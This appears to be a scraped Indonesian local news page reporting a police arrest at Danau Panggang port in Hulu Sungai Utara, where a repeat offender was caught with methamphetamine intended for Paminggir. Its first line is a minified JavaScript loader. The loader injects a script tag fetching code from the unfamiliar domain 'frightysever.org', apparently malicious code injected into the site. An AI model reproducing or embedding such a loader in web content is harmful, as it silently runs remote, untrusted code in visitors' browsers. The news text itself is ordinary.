(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HSU

Ditangkap di Pelabuhan Danau Panggang, ZA Hendak Edarkan Sabu ke Paminggir


KANALKALIMANTAN.COM, AMUNTAI – Polsek Danau Panggang dibackup Satuan Resnarkoba Polres Hulu Sungai Utara (HSU) berhasil menggagalkan rencana peredaran narkoba di wilayah Kecamatan Paminggir. Menyusul diringkus seorang pengedar sabu di Pelabuhan Danau Panggang, Sabtu (30/5/2020) kemarin.

Pelaku yang diketahui berinisial ZA (42), warga Desa Paminggir RT 003 RW 001 Kecamantan Paminggir, Kabupaten HSU, tak berkutik ketika petugas mendapati dirinya membawa 1 paket sabu seberat 4,93 gram -berat bersih  4,76 gram-.

Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kasat Resnarkoba Iptu Siswadi, mengatakan pengungkapan kasus Narkoba ini merupakan operasi yang digelar sebagai program inovasi Polres HSU yakni HSU BERSINAR (Hebat Sigap Untuk Bersih Dari Narkoba).

Polisi sudah lema mengendus pelaku sebagai residivis di kasus yang sama. Pelaku ZA berencana mengedarkan barang haram tersebut ke Kecamatan Paminggir.

“Memang sudah kita target dan yang bersangkutan residivis kasus yang sama,” ungkap Kasat Resnarkoba Iptu Siswadi, kepada kanalkalimantan.com, Minggu (31/5/2020).

Penangkapan terhadap pelaku ZA sendiri terjadi di pelabuhan Danau Panggang di kawasan Desa Pandamaan, Kecamantan Danau Panggang.

Barang bukti sabu dan handphone dari didapat dari tangan ZA. foto: polres hsu for kanalkalimantan

Saat diamankan para saksi pelaku kedapatan memiliki 1 paket narkotika jenis sabu dengan berat kotor 4,93 gram –berat bersih 4,76 gram- yang ditemukan di dalam kotak rokok.

“Rencana mau diedarkan di wilayah Paminggir, saat mau naik kapal ke Paminggir dilakukan upaya paksa penggeledahan dan ditemukan sabu-sabu di dalam tas milik terduga tersangka,’ beber Iptu Siswadi.

Setelah diinterogasi, pelaku ZA mendapatkan barang haram tersebut dari Ujal di desa Pasar Senin. Mendapat informasi tersebut, lantas pihaknya bergerak cepat dengan melakukan pengembangan dan melakukan penggeledahan di rumah Ujal. Hasilnya juga ditemukan barang bukti sabu.

Atas kejadian ini, para tersangka bakal dijerat Pasal 114 Ayat (1) atau 112 Ayat (1) UU RI No.35 tahun 2009 tentang Narkotika. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

2 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

5 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

5 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

7 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

9 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

10 jam ago

This website uses cookies.